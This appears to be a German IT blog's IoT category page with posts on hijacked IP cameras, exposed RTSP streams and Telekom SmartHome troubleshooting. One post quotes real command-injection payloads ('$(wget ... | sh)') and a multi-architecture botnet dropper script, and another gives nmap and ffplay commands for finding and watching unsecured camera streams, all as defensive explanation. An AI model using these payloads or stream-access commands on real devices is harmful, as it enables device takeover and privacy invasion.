IT-Blog von Sebastian van de Meer

Kategorie: IoT & Smart-Devices (Seite 1 von 2)

Smart-Home, IP-Kameras und IoT-Geräte — Sicherheitsrisiken, Firmware-Updates und Praxiserfahrungen.

Ist mein Netzwerk kompromittiert? Warum das kaum jemand merkt

Ich habe ja bereits etwas zum Thema IoT-Geräte geschrieben und warum diese oft deutlich schneller gehijackt werden, als man vielleicht erwartet.

Aber woher weiß man nun als normaler Anwender, ob zu Hause oder im eigenen Netzwerk etwas sein Unwesen treibt?
Nun ja; das ist leider überhaupt nicht so einfach.

Symbolische Darstellung eines kompromittierten Netzwerks mit Warnhinweisen, IoT-Kamera und verdächtigem Datenverkehr.

Klar, man kann sich ganz tolle IPS oder IDS aufbauen. Es gibt dafür auch Open-Source-Systeme; Snort fällt mir da als einer der älteren Vertreter als erstes ein.

Aber das alles ist nichts für den normalen Anwender oder den Privathaushalt. Dann gibt es noch ganz furchtbar viele Schlangenölanbieter mit ihrer „Sicherheitssoftware“ für Windows, Android und Co. Klar, man kann dort Firewall, Virenscanner usw. installieren. Aber hilft das wirklich? Jein, würde ich dazu sagen.

Ist man auf einem aktuellen Patchstand, sollten zumindest die bekannten Löcher geschlossen sein. Dann bleiben fast nur noch Zero-Day-Lücken Ein Virenfilter kennt diese in der Regel auch nicht und lässt so etwas dann schlicht durch.

Eine Firewall-Lösung kann zumindest erkennen, ob plötzlich ungewöhnlicher Traffic unterwegs ist oder ob versehentlich gestartete Dienste nach außen offen stehen. Nur steht und fällt das Ganze oft genau in dem Moment, in dem der Anwender nach einer Entscheidung gefragt wird.

Sicherheitssoftware muss naturgemäß sehr tief im Betriebssystem eingebettet werden. Hat diese Sicherheitssoftware dann selbst Sicherheitslücken, was deutlich häufiger vorkommt, als man zunächst glauben möchte, öffnet man im Zweifel die eigene Infrastruktur über genau die Software, die das eigentlich verhindern soll. Vertraut mir da bitte einfach, wenn ich sage, dass ich das schon sehr oft gesehen habe. Zudem installiert sich so eine Sicherheitssoftware oft nicht einfach auf einer Netzwerkkamera.

Der beste Schutz sind, meiner Meinung nach, noch immer gepflegte Systeme, gute Zugangsdaten und das nötige Misstrauen. Wie kam ich jetzt darauf? Ach richtig; wie findet man eigentlich heraus, ob es überhaupt ein Problem gibt?

Klar, man kann abwarten. Irgendwann merkt man es sicher; spätestens dann, wenn die Polizei mit einer Hausdurchsuchung vor der Tür steht und wissen möchte, was man denn da so alles im Internet verteilt oder angreift.

Eine wirklich gute Lösung habe ich da leider auch nicht. Am ehesten noch Dienste wie GreyNoise (https://check.labs.greynoise.io/). Dort kann man beispielsweise gegen AbuseDB prüfen, ob die eigene IPv4-Adresse irgendwo im Internet „auffällig“ geworden ist; etwa durch Portscans, Spam-Versand oder Malware-Traffic. Ebenfalls kann man hin und wieder bei Have I Been Pwned (https://haveibeenpwned.com/) vorbei schauen, um zu prüfen, ob die eignen Zugangsdaten irgendwo gefunden wurden.

Im Allgemeinen ist aber auch das nur ein Indiz. IP-Adressen wechseln; vor allem bei privaten Anschlüssen. Die eigene IP muss erst auffallen, gemeldet werden und so weiter.

Aber hey; vielleicht hat ja noch jemand einen besseren Tipp?

Fragen? Einfach melden.

IoT-Geräte als Einfallstor: Warum Kameras & Co. häufiger kapert werden, als viele denken

Vielleicht erinnert ihr euch an meine Aussage, dass man jedem Gerät, das man mit dem Internet verbindet, mindestens so viel Vertrauen entgegenbringen sollte wie seiner Haustür. In den letzten Wochen durfte ich das wieder mehrfach sehr anschaulich erklären – direkt anhand realer Beispiele in der IT von Unternehmen oder im privaten Umfeld.

Image of IoT Camera and IT Security

Versteht mich nicht falsch: Es geht mir nicht darum, mich über irgendwen lustig zu machen oder zu behaupten, dass nur Fachleute irgendetwas einrichten dürfen. Wenn jemand ein IoT-Gerät kauft – eine Überwachungskamera, ein Thermometer, eine smarte Steckdose – dann geht diese Person zurecht davon aus, dass es „funktioniert“. Und für viele bedeutet „funktionieren“ automatisch auch: Es ist grundsätzlich sicher.
Leider ist genau das oft nicht der Fall.

IoT in der Praxis: Schnell, günstig – und sicherheitsblind

Viele dieser kleinen Netzwerkgeräte basieren auf irgendeiner Form von Linux. Das ist günstig, flexibel, gut anpassbar – perfekt für Hersteller, die aus Standardmodulen schnell ein neues „Produkt“ zusammensetzen wollen. Die Funktion steht im Vordergrund, denn die sieht der Kunde sofort. Sicherheitsrelevante Details dagegen sieht niemand und sie verzögern die Entwicklung. Also bekommen sie häufig weniger Aufmerksamkeit.

Selbst wenn ein Hersteller alles richtig bedenkt, kann später eine neue Angriffstechnik entstehen, gegen die das Gerät keine Abwehr hat. Dann braucht es ein Firmware-Update. Das kostet Geld, Zeit – und es hilft nur, wenn man es auch einspielt.

„Was soll schon passieren? Es ist doch nur eine Kamera am Mülltonnenplatz …“

Viele denken:
Was soll’s? Wenn jemand sehen kann, wie warm es im Keller ist oder welcher Waschbär die Tonnen plündert – na und?

Das Problem ist nicht der Inhalt der Kamera. Das Problem ist das Gerät selbst.

IoT-Geräte werden extrem häufig missbraucht – und zwar nicht, um euch auszuspionieren, sondern um sie für fremde Zwecke einzuspannen:

  • als Teil eines Botnetzes
  • zum Verteilen von Malware
  • für DDoS-Angriffe
  • zum Minen von Kryptowährungen
  • oder als Einstiegspunkt ins dahinterliegende Netzwerk

Im besten Fall merkt man davon nichts – außer vielleicht einem unerklärlich langsamen Internet.
Im schlechtesten Fall steht plötzlich die Polizei vor der Tür, weil über die eigene IP-Adresse strafbare Downloads verteilt wurden.

Und bevor jemand denkt „Das ist doch konstruiert“: Nein. Das passiert. Dauerhaft. Ich sehe fast täglich Spuren solcher Übernahmen.

Warum diese Geräte so leicht kompromittierbar sind

Bei manchen Geräten ist ein Login – falls überhaupt vorhanden – kaum mehr als ein wackliges Gartentor im Nirgendwo. Default-Passwörter, Basic-Auth ohne HTTPS, unsichere Dienste, schlechte Update-Strategien.

Screenshot of an compromised asus cctv ip camera iot

Ein Klassiker: nicht korrekt geprüfte Eingabefelder.
Viele Web-Interfaces akzeptieren blind alles, was man eingibt – und führen es sogar direkt als Teil eines Shell-Befehls aus.

Beispiel aus einer realen IoT-Kamera-Firmware:

ddns_DyndnsDynamic_hostname='$(wget http://1.2.3.4/x/vivo -O-|sh)'

oder

$(wget http://1.2.3.4/ipcam.zavio.sh -O- | sh)
$(wget http://1.2.3.4/zavio -O- | sh)
$(wget http://1.2.3.4/router.zyxel.sh -O- | sh)
$(wget http://1.2.3.4/router.raisecom.sh -O- | sh)
$(wget http://1.2.3.4/router.draytek.sh -O- | sh)
$(wget http://1.2.3.4/nas.dlink.sh -O- | sh)
$(wget http://1.2.3.4/router.aitemi.sh -O- | sh)
$(wget http://1.2.3.4/ipcam.tplink.sh -O- | sh)
$(wget http://1.2.3.4/router.netgear.sh -O- | sh)
$(wget http://1.2.3.4/dvr.tbk.sh -O- | sh)
$(wget http://1.2.3.4/router.aitemi.sh -O- | sh)

Die Zugangsdaten, die man in solchen Feldern eintragen „muss“, sind dabei oft schlicht. meow könnte hier wohl ein Verweis auf das, durch das Script, zu installierende kitty Paket sein:

Benutzername: meow
Kennwort: meow

Das Entscheidende ist jedoch die Konstruktion $(…).
Linux interpretiert das nicht als Text, sondern als auszuführendes Kommando – mit den Rechten, mit denen die DynDNS-Funktion läuft. Und das ist bei vielen Geräten immer noch root.

Der eigentliche Befehl ist dann:

wget http://1.2.3.4/vivo -O- | sh
  • wget lädt eine Datei herunter
  • -O- sorgt dafür, dass der Inhalt direkt ausgegeben wird
  • das Pipe-Symbol | übergibt den Inhalt an die Shell sh
  • die Shell führt alles aus, was darin steht

Sprich: Man lädt ein beliebiges Skript aus dem Internet – und führt es sofort mit root-Rechten aus. Ohne Rückfrage. Ohne Sicherheit.

Ein Beispiel für ein solches Script könnte folgendes sein:

cd /tmp || cd /var/tmp || cd /var || cd /mnt || cd /dev || cd /
wget http://1.2.3.4/kitty.x86; chmod 777 kitty.x86; ./kitty.x86 ipcam.zavio; rm kitty.x86
wget http://1.2.3.4/kitty.x86_64; chmod 777 kitty.x86_64; ./kitty.x86_64 ipcam.zavio; rm kitty.x86_64
wget http://1.2.3.4/kitty.arm; chmod 777 kitty.arm; ./kitty.arm ipcam.zavio; rm kitty.arm
wget http://1.2.3.4/kitty.mips; chmod 777 kitty.mips; ./kitty.mips ipcam.zavio; rm kitty.mips
wget http://1.2.3.4/kitty.mipsel; chmod 777 kitty.mipsel; ./kitty.mipsel ipcam.zavio; rm kitty.mipsel
wget http://1.2.3.4/kitty.aarch64; chmod 777 kitty.aarch64; ./kitty.aarch64 ipcam.zavio; rm kitty.aarch64

Und ja: Das existiert genauso in freier Wildbahn.

Wenn ihr so etwas in eurer Konfiguration findet: Uff.

Dann würde ich dem Gerät nicht mal mehr nach einem Reset vertrauen. Denn:

  • Wurde vielleicht eine manipulierte Firmware eingespielt?
  • Wurde der Bootloader verändert?
  • Wird nach jedem Neustart automatisch eine Backdoor geöffnet?
  • Gibt es überhaupt offizielle Firmware-Images zum Neu-Flashen?

Oft lautet die bittere Antwort: Nein.
Und dann bleibt realistisch nur: Gerät entsorgen.

Noch schlimmer: Der Angreifer hat damit meist vollen Zugriff auf das Netzwerk hinter dem Gerät.
Und IoT-Geräte speichern gerne:

  • WLAN-Passwörter
  • NAS-Zugangsdaten
  • SMTP-Accounts
  • API-Tokens
  • Nutzer- und Admin-Zugänge anderer Systeme

Damit kann ein Angreifer richtig Schaden anrichten.

Was also tun?

IoT ist nicht böse – aber oft schlecht gemacht.
Daher ein paar Grundregeln, die wirklich jeder beherzigen sollte:

  • IoT immer in ein eigenes, getrenntes Netz.
  • Kein direkter Zugriff aus dem Internet – nur wenn es wirklich sein muss und dann sauber gesichert.
  • Regelmäßig patchen, prüfen, auditieren.
  • Standardpasswörter sofort ändern.
  • Alle nicht benötigten Dienste deaktivieren.

Das ist nicht theoretisch, nicht konstruiert – das ist Alltag. Ich sehe es fast täglich.

IP-Kameras: Risiken, Portfreigaben (RTSP/HTTP) & Checks

Moin, ich mag noch einmal etwas zu IP-Überwachungskameras schreiben. Ihr erinnert euch vielleicht an meinen letzten Beitrag zu diesem Thema KLICK.

article image of ip cameras

Dort habe ich mich speziell auf den RTSP-Port bezogen und auch https://www.shodan.io/ als Beispiel genannt. Shodan scannt unaufhörlich IPv4-Adressen (bei IPv6 wäre ein flächendeckender Scan kaum praktikabel) und stellt seine Ergebnisse öffentlich zur Verfügung. Sicherheitsforscher — aber leider auch Menschen mit schlechten Absichten — bedienen sich solcher Dienste, um Informationen über Systeme hinter einer IPv4-Adresse zu bekommen, ganz ohne selbst groß zu scannen oder zu testen. Grob gesagt: Google für „Hacker“.

Dass IP-Kameras — vor allem günstige oder ältere Modelle — schnell ein Sicherheitsrisiko darstellen, habe ich schon erwähnt; wer das hier liest, weiß es in der Regel auch. Automatische Portfreigaben in Kombination mit solchen Kameras sind oft problematisch. Wenn ich über so etwas stolpere und ohne großen Aufwand den Betreiber ausfindig machen kann, versuche ich jeweils per E-Mail oder einem kurzen Anruf zu warnen. Das stößt mal auf offene Ohren, manchmal wird es komplett ignoriert (manchmal mit Abschalten des öffentlichen Zugriffs, manchmal ohne); selten kommt die Antwort „Anzeige ist raus“.

Kameras filmen oft sensible Bereiche, sowohl innen als auch außen. Das kann viele Probleme mit sich bringen, wenn diese Informationen einfach öffentlich zugänglich sind. Anders als bei Datei-Freigaben scheint bei Kamerastreams noch nicht die nötige Awareness vorhanden zu sein — genau deshalb informiere ich hier und weise darauf hin.

Es ist nicht nur der RTSP-Stream, der sich häufig per UPnP seinen Weg nach draußen „tunnelt“. Oft werden auch per DNAT / Portfreigabe / Portweiterleitung die Webinterfaces der Kameras direkt aus dem Internet erreichbar gemacht. Im schlimmsten Fall kann man also mit dem Browser direkt auf Webinterface und Stream zugreifen. Viele sichern den Zugriff mit der kameraeigenen Anmeldung — das ist schon mal ein Anfang. Leider reicht das nicht immer: Bei manchen Modellen sind Funktionen wie Snapshots oder einzelne JPEG-Endpoints weiterhin ohne Anmeldung erreichbar. Das ist auf den ersten Blick nicht sichtbar — kennt man aber die entsprechende URL, genügt ein Browseraufruf und man sieht wieder alles.

Deshalb gebe ich immer den Rat: Zugriff lieber hinter ein VPN legen und niemals direkt offen ins Internet. Gebt jedem Gerät und jedem Dienst, den ihr aus dem Internet erreichbar macht, mindestens so viel Vertrauen wie eurer Haustür. Und prüft regelmäßig, ob dieses Vertrauen noch gerechtfertigt ist.

Wer selbst prüfen möchte, ob die EIGENE Kamera trotz eingerichteter Anmeldung noch irgendwie ohne Login zugänglich ist, kann mein kurzes Python-Tool nutzen: https://github.com/Kernel-Error/cam_probe

Denkt also bitte einmal darüber nach, ob ihr allem, was ihr direkt mit dem Internet verbunden habt, mindestens das gleiche Vertrauen entgegenbringt wie eurer Haustür oder Wohnungstür. Denkt an die security.txt und daran, dass, wenn sich jemand die Mühe macht, euch über ein solches Problem zu informieren, diese Person damit wahrscheinlich den größten Aufwand und auch das größte Risiko für sich selbst aufnimmt – nur, um euch auf ein Problem hinzuweisen.
Einen solchen Fund zu ignorieren, zu verkaufen oder sonst wie auszunutzen, ist deutlich einfacher, als den Betreiber zu informieren.

Natürlich gibt es auch hier schwarze Schafe, aber die Vertrauenswürdigkeit einer solchen Nachricht lässt sich meist schnell per Google oder auch ChatGPT prüfen.
Frage? Dann fragen. 🙂

Magenta SmartHome Lüften: Lösung für Android-Probleme gefunden

Seit inzwischen knapp 10 Jahren nutze ich das Magenta SmartHome-System. Eine der wirklich praktischen Funktionen ist „Lüften“.

Sobald ein Tür- oder Fensterkontakt signalisiert, dass er geöffnet ist, wird ein Signal an die Heizungsventile gesendet, damit diese schließen. Gerade mit Kindern im Haushalt ist das eine tolle Funktion, denn so heize ich nicht versehentlich durch ein offenes Fenster oder gleich die ganze Terrasse.

Diese Funktion findest du in der SmartHome-App unter: Mehr → Heizung → Overflow-Menü → Einstellungen → Sensoren konfigurieren. Dort kannst du für jeden Raum die Kontakte auswählen, die für die Funktion genutzt werden sollen.

Screenshot der Telekom Magenta SmartHome App auf einem Andriod. Gezeigt wird das Menü Sensoren konfigurieren, für die Funktion Lüften der Heizungssteuerung.

Vor knapp zwei Jahren ist mir in der Winterzeit aufgefallen, dass ein ausgetauschter Sensor zwar einwandfrei funktionierte, aber von der „Lüften“-Funktion komplett ignoriert wurde. Also habe ich im Menü nachgeschaut: Der Sensor wurde als nicht ausgewählt angezeigt (grauer Haken oben rechts auf der Kachel). Ich wählte ihn aus, bestätigte mit dem Haken, wechselte erneut ins Menü „Sensoren konfigurieren“ – und der Sensor war wieder nicht ausgewählt. Ein endloser Kreislauf.

Zuerst dachte ich, das Problem liegt vielleicht an meinem Smartphone. Doch auch auf dem Gerät meiner Frau zeigte sich derselbe Fehler. Also: App deinstallieren, neu installieren. Leider ohne Erfolg.

Daraufhin kontaktierte ich den Magenta SmartHome-Support und schilderte mein Problem. Die Antwort kam nach ein paar Tagen: Ein alter Sensor blockiere wohl die Funktion. Als Lösung schlug man vor, die komplette SmartHome-App von der Zentrale zu löschen und alles neu einzurichten. Das hätte bedeutet, dass meine gesamte Konfiguration, alle Regeln und Szenen verloren gehen – und ich jedes Gerät neu anlernen müsste.

Da ich zahlreiche Geräte im Einsatz habe, war das für mich keine Option. Also entschied ich mich, abzuwarten. Schließlich war ich nicht der Einzige mit diesem Problem, und früher oder später würde es sicher eine Lösung geben.

Nun ist wieder Winter, und das Problem besteht weiterhin. Also wandte ich mich erneut an den Support, in der Hoffnung auf eine bessere Lösung. Diesmal bekam ich folgende Antwort:

Das Problem ist hier, dass noch ein alter bereits abgelernter Tür-Fensterkontakt in der Lüften Einstellung fest hängt.
Erkennen kann man dies in der Android App bei der Auswahl der Tür-Fensterkontakte. Hier wird oben in der Titelzeile die Anzahl der ausgewählten Geräte angezeigt. 
Ist die Zahl hier höher, als die sichtbar ausgewählten Tür-Fensterkontakte, so ist der Kunde von diesem Problem betroffen.
Unter iOS wird die Anzahl der ausgewählten Tür-Fensterkontakte nicht angezeigt.

Update 08.01.2025: Es wird noch ein weiteres Magenta SmartHome App Release mit Fehlerbehebungen geben. Es ist geplant, dass der Fehler dort behoben wird.
 
Workaround 1: Da der Fehler nur in der Android App auftritt, kann man das Problem mit der iOS App lösen. Mit der iOS App reicht es einen Tür-Fensterkontakt abzuwählen und zu speichern.
Danach lassen sich die aktuell angelernten Tür-Fensterkontakte wieder wie gewohnt auswählen/abwählen und auch speichern. Auch in der Android App.
Sofern der Kunde also ein iOS Gerät hat, ist dieser Workaround dem Workaround 2 zu bevorzugen.

Workaround 2: Das Plugin vom 3rd Level löschen lassen. Hier muss der Kunde dann jedoch alle Einstellungen, die er in der App vorgenommen hat, wieder neu Einrichten.
Regeln, Szenen, Heizkurve,  Übersichten ... alles. Insofern fragt bitte den Kunden bevor ihr ein 3rd Level Ticket erstellt, ob er mit dieser Löschung einverstanden ist. 

Workaround 2 war für mich weiterhin keine Option. Aber Workaround 1 klang vielversprechend – ein iOS-Gerät hatte ich noch im Regal. Also installierte ich die App, ging ins Menü „Sensoren konfigurieren“, wählte die gewünschten Sensoren aus – und siehe da: Es funktionierte! Seitdem läuft die Funktion auch wieder einwandfrei unter Android.

Man stelle sich vor, ich hätte tatsächlich den aufwendigeren Workaround 2 gewählt, nur um später herauszufinden, dass ein einmaliger Abstecher in die iOS-App genügt hätte.

Vielleicht rettet diese Info ja jemanden vor unnötigem Aufwand. Laut Support soll das Problem mit einem zukünftigen Update behoben werden.

Siehe auch: Telekom SmartHome Erfahrungen

Fragen? Einfach melden.

IP-Kameras als Sicherheitsrisiko: GeoGuessr und Datenschutz im Fokus​

Die meisten von euch werden das Spiel GeoGuessr kennen. Man bekommt ein Google-Street-View-Bild gezeigt, kann sich vielleicht noch ein paar Meter hin- und herbewegen und muss dann auf einer Weltkarte einen Marker setzen, wo man meint, dass dieses Bild aufgenommen wurde. Wer dem Punkt am nächsten kommt, gewinnt.

Eine etwas abgewandelte Version begegnet mir immer mal wieder, wenn ich mich an einem Bug-Bounty-Programm beteilige oder einfach mit offenen Augen durchs Internet spaziere. Damit ist natürlich kein aktives Port-Scanning auf Netzblöcke oder Ähnliches gemeint.

Worum geht es genau?

In den letzten Jahren verbreiten sich immer mehr billige „China-Kameras“ bei Heimanwendern, aber auch bei Unternehmen. Dagegen spricht erst einmal nichts.

Was leider oft übersehen wird, sind die kleinen automatischen Helferlein, die die Einrichtung und den Betrieb einer solchen Kamera möglichst einfach machen sollen. UPnP (Universal Plug and Play) haben manche vielleicht schon mal im Zusammenhang mit Windows 95 oder USB gehört (ja, ich bin alt …). So etwas gibt es aber auch für Router und Firewalls, also für Netzwerke. Bei einer Fritzbox nennt sich das beispielsweise „Automatische Portfreigabe“.

Der eine oder andere ahnt jetzt sicher schon etwas: Es gibt IP-Kameras, die sich so – vielleicht sogar ohne das Wissen des Betreibers – selbst über das Internet erreichbar machen. Das betrifft nicht selten die komplette Weboberfläche. Mal ist diese kennwortgeschützt, mal nicht.

Sehr oft findet sich auch nur der RTSP-Port (Real Time Streaming Protocol) offen im Internet. Per RTSP werfen solche Kameras oft einen einfachen Videostream aus, der die Anbindung an zentrale Videoüberwachungssysteme erlaubt. Auch RTSP-Streams lassen sich mit einer Anmeldung schützen, was aber scheinbar in der Regel werkseitig deaktiviert ist.

Wenn dieser Port offen ist, könnte man sich einfach per ffplay einen solchen Stream anschauen:

ffplay rtsp://1.2.3.4/11

Wenn man sich nicht sicher ist, wie die korrekte RTSP-URL für die jeweilige IP-Kamera lautet, kann nmap zusammen mit dem Script rtsp-url-brute helfen:

nmap --script rtsp-url-brute -p 554 1.2.3.4

Die rechtliche Lage

Nun kann es natürlich rechtlich schwierig sein, bei einer fremden IP-Adresse nach dem offenen Port 554/TCP zu suchen, dort per nmap nach einer nutzbaren RTSP-URL zu scannen und sich den Stream dann live per ffplay, nmap oder vlc anzuschauen. Schließlich hat man nicht das Einverständnis des Betreibers.

Screenshot of shodan search engine, filtering for RTSP Streams.

Natürlich hält das wohl weniger Menschen ab, die ohnehin Schlechtes im Sinn haben. Ebenfalls gibt es verschiedene Dienste, die 24/7 nichts anderes tun. Ein Beispiel ist hier vielleicht shodan.io – dort lässt sich direkt nach solchen Vorschaubildern filtern, ohne dass man selbst eine Verbindung zu betroffenen IPs aufnehmen muss.

Warum ist das alles überhaupt problematisch?

Hat ein Angreifer Böses im Sinn, ist ein Zugriff auf die Überwachungskamera sehr hilfreich. Man kommt so möglicherweise an Insiderinformationen, findet heraus, wo wertvolle Dinge gelagert werden, wann und wie die Öffnungszeiten sind oder sogar mögliche Zugangscodes und Kennwörter. Natürlich auch, welche Kunden sich zu welcher Zeit dort aufhalten usw.

Denkt man an eine Arztpraxis, kann das schnell eine echte Datenschutzkatastrophe werden. Wenn die Kamera im Wohnzimmer oder Schlafzimmer einer Wohnung steht, führt das ebenfalls schnell zu ungewollten Einblicken.

Wenn man einmal außer Acht lässt, dass niemand gerne ohne sein Wissen per Livestream im Internet zu sehen ist, halte ich das Thema Datenschutz für eines der größten Risiken.

In der Vergangenheit sind mir bereits Beispiele begegnet, die das Problem verdeutlichen: Arztpraxen mit Kamerablick von hinten auf die Anmeldung – inklusive direktem Blick auf Patienten, Monitore mit Patientendaten oder Vertragsabschlüsse bei Mobilfunkanbietern. Auch Überwachungskameras in DHL-Filialen, die Bild und Ton in Zoom und 4K aufzeichnen, habe ich gesehen.

Für private Betreiber kann es ebenfalls schnell zu einem Datenschutzproblem werden. Nicht jeder achtet beim eingestellten Bildausschnitt der Kamera darauf, die Vorgaben des Datenschutzes einzuhalten. So werden oft mehr öffentliche Bereiche oder sogar Nachbargrundstücke gefilmt, als zulässig ist.

Wenn diese Daten dann auch noch ohne Schutz und Hürden in die Hände Dritter geraten, wird es heikel. Hier sollte besser jemand mit rechtlichem Hintergrund eine Einschätzung abgeben. Für mich klingt das alles jedenfalls ziemlich unschön.

Was kann man tun?

Eine Abuse-Mail an den jeweiligen ISP (Internet Service Provider) schicken, mit der Bitte, ihre Kunden zu informieren? Kann man machen. Bei kleineren ISPs klappt das oft sogar, und die Betreiber werden informiert. Spricht man aber über einen großen ISP wie die Telekom, verschwinden einzelne Abuse-Mails gefühlt einfach im Nichts.

Sonst jemanden zu finden, der ein Interesse daran hat, den meist unwissenden Betreiber zu informieren, ist nahezu unmöglich. Weder unsere Behörden noch das BSI interessieren sich dafür. Möchte man also den Betreiber darauf hinweisen, bleibt realistisch nur die Möglichkeit, ihn selbst zu kontaktieren.

GeoGuessr in der Praxis

Jetzt sind wir beim Thema GeoGuessr: Man hat also nur das Bild der Kamera, die IP-Adresse mit einer recht groben und nicht immer stimmigen Geolokalisierung und vielleicht noch ein paar weitere Rahmeninfos oder Dienste auf dieser IP-Adresse. Hin und wieder macht es mir daher sogar Spaß, den eigentlichen Betreiber ausfindig zu machen und ihm per E-Mail oder telefonisch kurz auf diesen möglichen Missstand hinzuweisen.

Wenn du das also gerade liest, weil ich dich darauf hingewiesen habe, weißt du jetzt, warum.

Natürlich trifft man oft auf Unverständnis – oder das klassisch deutsche „Anzeige ist raus!“ begegnet einem immer mal wieder. Es bietet also auch eine gute Möglichkeit, die eigenen Kommunikationsskills zu erweitern.

Siehe auch: IP-Kameras: Risiken und Checks

Fragen? Einfach melden.

Telekom SmartHome: Firmware-Updates für HomeMatic-Geräte über die CCU2

Die QIVICON Home Base vom Telekom SmartHome kann keine Firmware-Updates auf die HomeMatic-Geräte von eQ-3 aufspielen. Bei den älteren HomeMatic-Geräten war das kein Problem, Updates waren selten und betrafen keine kritischen Funktionen. Bei den neueren HomeMatic IP Geräten sieht das anders aus. Die Firmware ändert sich regelmäßig, neue Funktionen kommen dazu und Bugs werden behoben. Ein Zwischenstecker fungiert zum Beispiel erst ab einem bestimmten Firmwarestand als Repeater im Mesh-Netzwerk.

Der Update-Weg über die CCU2

Zum Updaten gibt es zwei Möglichkeiten: Einen Funk-Konfigurationsstick für USB oder die CCU2 Zentrale von eQ-3. Ich habe mir die CCU2 besorgt. Der Ablauf pro Gerät sieht so aus:

1. Gerät vom Telekom SmartHome ablernen
2. Gerät an der CCU2 anlernen
3. Firmware-Update durchführen
4. Gerät von der CCU2 ablernen
5. Gerät am Telekom SmartHome wieder anlernen

Das ist aufwendig. Für jedes einzelne Gerät. Und bei den HomeMatic IP Geräten dauert ein Firmware-Update zwischen 8 und 42 Stunden. Die Firmware ist dabei knapp über 100 KB groß. Bei den älteren HomeMatic-Geräten ist das gleiche Update in fünf Minuten erledigt. Warum der Funkweg bei den IP-Geräten so langsam ist, erschließt sich mir nicht.

Warum nicht gleich die CCU2?

Das Telekom SmartHome hat einen Vorteil der schwer wiegt: Man kann Geräte verschiedener Hersteller miteinander kombinieren. HomeMatic, Philips Hue, Schellenberg Rolladen, DECT-Steckdosen. Das können die reinen eQ-3 Lösungen wie CCU2 mit Orbylon oder pocket control nicht in dem Umfang. Dafür nimmt man den umständlichen Firmware-Update-Prozess in Kauf.

Fragen? Einfach melden.

QIVICON Home Base 2.0: Migration vom Telekom SmartHome und was dabei schiefgeht

Ich nutze privat das SmartHome-System der Telekom mit der QIVICON Home Base. Die alte Version 1.0 war funktional in Ordnung, aber langsam. Kein WLAN, kein ZigBee ohne USB-Stick, und je mehr Geräte dranhingen desto zäher wurde die Oberfläche. Die neuen HomeMatic IP Geräte von eQ-3 haben den Rest gegeben. Die Home Base 1.0 war damit überfordert.

Die Home Base 2.0

Das Endergebnis vorweg: Die 2.0 ist besser. Kamerastreams laufen flüssig, keine Verbindungsabbrüche mehr zu den Sensoren, die App reagiert spürbar schneller. Soweit die gute Nachricht.

Der Migrationsprozess

Die offizielle Wechselanleitung der Telekom sieht so aus:

1. Alle Geräte auf der Home Base 1.0 löschen
2. Reset der Home Base 1.0
3. Alte abklemmen, neue anklemmen
4. Neue Home Base registrieren und aktivieren
5. Alle Geräte neu einrichten

Punkt 1 und 5 sind das Problem. Jedes Gerät einzeln löschen, über eine App die alle paar Klicks die Verbindung verliert und einen gefühlten Delay von ein bis zwei Sekunden auf jede Aktion hat. Manche Geräte wollen vor dem Löschen eine physische Bestätigung am Gerät selbst. Also knapp eine Stunde durch die Wohnung rennen und Knöpfe drücken. Bei Unterputz-Schaltern besonders viel Freude.

Was bei mir schiefging

Nach dem Löschen aller Geräte und dem Reset der alten Home Base wollte die App keine Verbindung mehr herstellen. Logisch, die alte Base war ja zurückgesetzt. Im QIVICON-Webportal gab es einen Button „Exchange Gateway“ der in der Anleitung nicht vorkam. Seriennummer der neuen Base eingeben, fertig. Die Aktivierung, die laut Anleitung nötig sein soll, war es nicht. In der Anleitung steht man solle die Fehlermeldung bei der Aktivierung ignorieren. Fehlermeldung ignorieren als offizieller Schritt.

Nach dem Gateway-Tausch passierte etwas Unerwartetes: Die neue Home Base hatte meine komplette Konfiguration und alle Geräte. Die ich vorher gelöscht hatte. Die Geräte kannten aber den Funkschlüssel der alten Base und weigerten sich mit der neuen zu reden. Das Ergebnis war ein Dauerbeschuss des Funkmoduls mit ungültigem Traffic. Die Base war alle paar Sekunden überlastet.

Zum Löschen der Geräte brauchte man das Funkmodul. Also hatte man immer ein paar Sekunden Zeit bevor es wieder abschmierte. Ein Neustart der Home Base dauerte 15 Minuten. Das ganze Löschen und Neu-Anlernen hat knapp drei Stunden gedauert, inklusive Geräte die vor dem Neu-Anlernen einen eigenen Factory-Reset brauchten.

Fazit

Die Hardware ist ein klares Upgrade. Der Migrationsprozess ist eine Katastrophe. Ein Gateway-Tausch sollte eine Sache von Minuten sein, nicht von Stunden. Das Telekom SmartHome hat den Vorteil verschiedene Hersteller kombinieren zu können. Das ist nach wie vor der Grund warum ich dabei bleibe. Die Bilder zeigen die alte und neue Home Base, innen und aussen.

Fragen? Einfach melden.

Telekom SmartHome im Test: Erfahrungen mit QIVICON und Home Base​

Das Zeug funktioniert ja zu 85% super… Aber hin und wieder könnte ich das Zeug einfach aus dem Haus treten :-/

Es ist ein Problem aufgetreten (500)

Die gewünschte Seite ist zurzeit nicht erreichbar.

Laden Sie die Seite zunächst bitte neu. Erhalten Sie wiederholt diese Meldung, versuchen Sie es zu einem späteren Zeitpunkt wieder, da evtl. Wartungsarbeiten durchgeführt werden.

Im Falle einer Meldung an den QIVICON Support stets angeben:
Fehlercode 586b87c131d73:0

Es ist ein Problem aufgetreten (500) Die gewünschte Seite ist zurzeit nicht erreichbar. Laden Sie die Seite zunächst bitte neu. Erhalten Sie wiederholt diese Meldung, versuchen Sie es zu einem späteren Zeitpunkt wieder, da evtl. Wartungsarbeiten durchgeführt werden. Im Falle einer Meldung an den QIVICON Support stets angeben: Fehlercode 586b87c131d73:0
QIVICON Telekom SmartHome Error Fehler

Siehe auch: HomeMatic Firmware-Updates

Fragen? Einfach melden.

Temperatur und Luftfeuchtigkeit mit DHT22 am Raspberry Pi messen

Meine Wetterstation hatte aufgegeben. Wirklich interessiert haben mich aber eh nur Temperatur und Luftfeuchtigkeit draußen. Das sollte ein Raspberry Pi mit einem DHT22 für zwei Euro hinbekommen — und die Daten landen direkt in meinem Cacti.

Update März 2026 — Dieser Beitrag ist von 2014 und einer meiner ältesten hier im Blog. Die Grundidee — DHT22 an den GPIO, Werte per Cron einsammeln, per SNMP an Cacti liefern — funktioniert unverändert. Ich habe den Beitrag komplett überarbeitet und den Software-Teil auf Python aktualisiert. Die ursprünglich verwendete C-Bibliothek wiringPi wurde 2019 vom Autor offline genommen und lol_dht22 wird nicht mehr gepflegt. Der Ansatz selbst ist zeitlos.

Was du brauchst

  • Einen Raspberry Pi — egal welches Modell, solange GPIO-Pins vorhanden sind
  • Einen DHT22 / AM2302 Sensor (2–5 €)
  • Einen 4,7 kΩ Widerstand als Pull-up
